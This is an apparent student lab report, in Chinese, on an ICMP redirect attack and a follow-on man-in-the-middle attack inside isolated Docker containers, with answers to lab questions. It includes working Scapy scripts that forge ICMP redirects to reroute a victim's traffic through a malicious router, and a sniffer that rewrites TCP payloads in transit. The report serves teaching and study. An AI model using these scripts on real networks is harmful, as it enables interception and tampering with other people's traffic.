

ICMP 重定向攻击实验报告

2023 年 10 月 31 日

摘要

本实验的目标是对受害者发起 ICMP 重定向攻击，使得受害者在发送数据包到 192.168.60.5 时，使用恶意路由容器（10.9.0.111）作为其路由器。由于恶意路由器由攻击者控制，攻击者可以拦截数据包、进行修改，然后发送修改后的数据包。这是一种中间人攻击的形式。

本实验涵盖以下主题：

- IP 和 ICMP 协议
- ICMP 重定向攻击
- 路由

杜威	202100460095
杨昊	202100460134
李旷达	202100460124

目录

1	实验环境	3
1.1	环境容器配置	3
1.2	攻击者容器	3
2	任务 1: 发起 ICMP 重定向攻击	4
2.1	实验操作	4
2.1.1	关闭防护	4
2.1.2	攻击代码	4
2.1.3	路由检测	5
2.2	Question.	5
2.2.1	问题一	5
2.2.2	问题二	6
2.2.3	问题三	6
3	任务 2: 启动中间人攻击	7
3.1	实验操作	7
3.1.1	禁用 IP 转发	7
3.1.2	MITM 代码	7
3.1.3	实验效果	8
3.2	Question.	8
3.2.1	问题四	8
3.2.2	问题五	9

1 实验环境

ICMP 重定向攻击是一种攻击方式，可以改变数据包的路由，从而实现中间人攻击。本实验旨在演示如何发起 ICMP 重定向攻击，将受害者的数据包重定向到恶意路由器容器。

1.1 环境容器配置

```
[10/30/23]seed@VM:~/.../volumes$ dcup
Creating network "net-10.9.0.0" with the default driver
Creating network "net-192.168.60.0" with the default driver
Creating host-192.168.60.6          ... done
Creating victim-10.9.0.5            ... done
Creating router                     ... done
Creating attacker-10.9.0.105        ... done
Creating malicious-router-10.9.0.111 ... done
Creating host-192.168.60.5          ... done
Attaching to victim-10.9.0.5, attacker-10.9.0.105, malicious-router-10.9.0.111, host-192.168.60.5, host-192.168.60.6, router
```

图 1: 环境配置

1.2 攻击者容器

- 共享文件夹：当使用攻击者容器发起攻击时，需要将攻击代码放在攻击者容器内。在容器内进行代码编辑不如在容器外方便，因为我们可以使用我们喜欢的编辑器。创建了一个共享文件夹。再 Docker Compose 文件内，我们将在./volumes 文件夹中编写代码，以便它们可以在容器内使用。

- 特权模式：要能够在运行时修改内核参数（使用 sysctl，如启用 IP 转发），容器需要处于特权模式。通过在 Docker Compose 文件中包括以下

条目，可以为容器配置特权模式。

2 任务 1：发起 ICMP 重定向攻击

在这个任务中，我们将展示如何发起 ICMP 重定向攻击，并观察受害者的路由是否被改变。

2.1 实验操作

2.1.1 关闭防护

在 Ubuntu 操作系统中，已经针对 ICMP 重定向攻击采取了防护措施。在 Compose 文件中，我们已经通过配置受害者容器接受 ICMP 重定向消息来关闭防护措施。

Listing 1: 关闭防护

```
1 // In docker-compose.yml
2 sysctls:
3 - net.ipv4.conf.all.accept_redirects=1
4 // To turn the protection on, set its value to 0
5 # sysctl net.ipv4.conf.all.accept_redirects=0
```

2.1.2 攻击代码

攻击代码将插入到受害者容器中，以发起 ICMP 重定向攻击。这部分代码是攻击的核心。

Listing 2: 攻击代码

```
1 #!/usr/bin/python3
2 from scapy.all import *
3
4 M_Router_IP = '10.9.0.111'
5 Router_IP = '10.9.0.11'
6 Victim_IP = '10.9.0.5'
7 Des_IP = '192.168.60.5'
8
9 ip = IP(src = Router_IP , dst = Victim_IP )
```

```

10 icmp = ICMP( type=5, code=1)# type 5 code 0 for redirect host
11 icmp.gw = M_Router_IP
12 # The enclosed IP packet should be the one that
13 # triggers the redirect message.
14 ip2 = IP(src = Victim_IP, dst = Des_IP )
15 send(ip/icmp/ip2/ICMP())

```

2.1.3 路由检测

进行路由检测，和攻击前的 ip route 结果对比，发现数据包已经被被重定向：

```

root@9c2d208bc846:/# ip show route cache
Object "show" is unknown, try "ip help".
root@9c2d208bc846:/# ip route show cache
192.168.60.5 via 10.9.0.111 dev eth0
cache <redirected> expires 164sec

```

Host		Packets		Pings					
		Loss%	Snt	Last	Avg	Best	Wrst	StDev	
1.	10.9.0.111	33.3%	7	0.1	0.1	0.1	0.2	0.1	
2.	10.9.0.11	0.0%	7	0.1	0.1	0.1	0.2	0.0	
3.	192.168.60.5	0.0%	6	0.2	0.2	0.1	0.2	0.0	

图 2: IP Route

2.2 Question.

2.2.1 问题一

我们将尝试将流量重定向到不在本地 LAN 上的远程机器，然后展示实验结果并解释观察结果。

攻击是失败的，通过修改重定向的地址为非本地网络的 IP 地址（例如 192.168.60.6）重新运行攻击程序，traceroute 仍然表明 victim 的路由选择是直接到 10.9.0.11 而不是我们的恶意路由。因为 ICMP 重定向只发生在从同一端口收到的数据包从同一端口发出、转发时发现数据包的源地址和接下来要送达的网络属于同一网络。所以重定向给远程机器的数据包不会被 victim 接受，这明显是一个不符合规则的行为。

```
Host
1. 10.9.0.11
2. 192.168.60.5
```

图 3: 主机状态

2.2.2 问题二

我们将尝试将流量重定向到同一网络上不存在的机器，然后展示实验结果并解释观察结果。

不行，结果和前一问一样，tracert 表明 victim 的数据包没有被重定向，仍然由 10.9.0.11 一手转发。通过在路由器上运行嗅探程序，我们发现 victim 在收到重定向信息后尝试使用 ARP 来定位这个我们伪造出的机器（嗅探程序接连收到了来自 victim 的 ARP 数据包），定位显然会失败，这使得 victim 依旧保持了原来的路由选择。

2.2.3 问题三

如果您查看 docker-compose.yml 文件，您将找到恶意路由器容器的以下条目。这些条目的目的是什么？请将它们的值更改为 1，然后再次发起攻击。请描述和解释您的观察。

攻击失败了，victim 的 route cache 没有任何新的条目，它仍然选择 10.9.0.11 来转发。Wireshark 抓包的记过告诉我们，恶意路由没有按照攻击者的意图，反而自动向 victim 主机发送了重定向报文将它重定向至 10.9.0.11 的正确路由。

```
root@bfc3da63fd8f:/# ip route show cache
root@bfc3da63fd8f:/#
```

图 4: 路由条目

3 任务 2：启动中间人攻击

在这个任务中，我们将演示如何启动中间人攻击，拦截流量并查看原始数据。

3.1 实验操作

3.1.1 禁用 IP 转发

使用 netcat 启动 TCP 客户端和服务端程序，禁用 IP 转发。

Listing 3: 禁用 IP 转发

```
1 On the destination container 192.168.60.5, start the netcat server:
2 # nc -lp 9090
3
4 On the victim container, connect to the server:
5 # nc 192.168.60.5 9090
6
7 # sysctl net.ipv4.ip_forward=0
```

3.1.2 MITM 代码

中间人攻击代码将插入到恶意路由器容器中，以拦截流量并查看原始数据。

Listing 4: MITM

```
1 #!/usr/bin/env python3
2 from scapy.all import *
3
4 print("LAUNCHING MITM ATTACK.....")
5
6 def spoof_pkt(pkt):
7     newpkt = IP(bytes(pkt[IP]))
8     del(newpkt.chksum)
9     del(newpkt[TCP].payload)
10    del(newpkt[TCP].chksum)
11
12    if pkt[TCP].payload:
13        data = pkt[TCP].payload.load
```

```

14     print("*** %s, length: %d" % (data, len(data)))
15     # Replace a pattern
16     newdata = data.replace(b'seedlabs', b'AAAAAAA')
17     send(newpkt/newdata)
18 else:
19     send(newpkt)
20
21 f = 'tcp and ether src 02:42:0a:09:00:05' # 使用MAC而不是IP。
22 pkt = sniff(iface='eth0', filter=f, prn=spooft_pkt)

```

3.1.3 实验效果

Victim 上面的发送内容与目标主机上的接收内容如下：

```

root@9c2d208bc846:/# nc 192.168.60.5 9090
hello
how are you?
seedlabs

root@502506d959c5:/# nc -lp 9090
hello
how are you?
AAAAAAA

```

图 5: 发送与接收

3.2 Question.

3.2.1 问题四

在中间人攻击程序中，我们只需要捕获单向流量。指明是哪个方向，以及解释原因。

显然只需要捕捉从 victim 向 192.168.60.6 目标主机方向的报文。因为在 ICMP 重定向阶段，我们攻击了 victim 使得它通过恶意路由来转发消息，所以只有 victim 这个可怜的傻瓜会向虚假的路由器发送报文，只需截

获 victim 主动交给恶意路由的报文，我们就可以篡改 victim 到目标主机的信息。

3.2.2 问题五

在中间人攻击程序中,我们可以在过滤器中使用 A 的 IP 地址或 MAC 地址来捕获来自 A 的 nc 流量。尝试两种选择，展示哪个选择是正确的，然后解释结论。

Wireshark 告诉我们应该使用 MAC 地址来过滤，因为使用 IP 地址的话，恶意路由会捕获自己发出的数据包，然后再次执行同样的操作，发出后再次截获自己的数据包，陷入螺旋当中，造成网络上发生转发风暴，会瞬间产生大量来自恶意路由的数据包。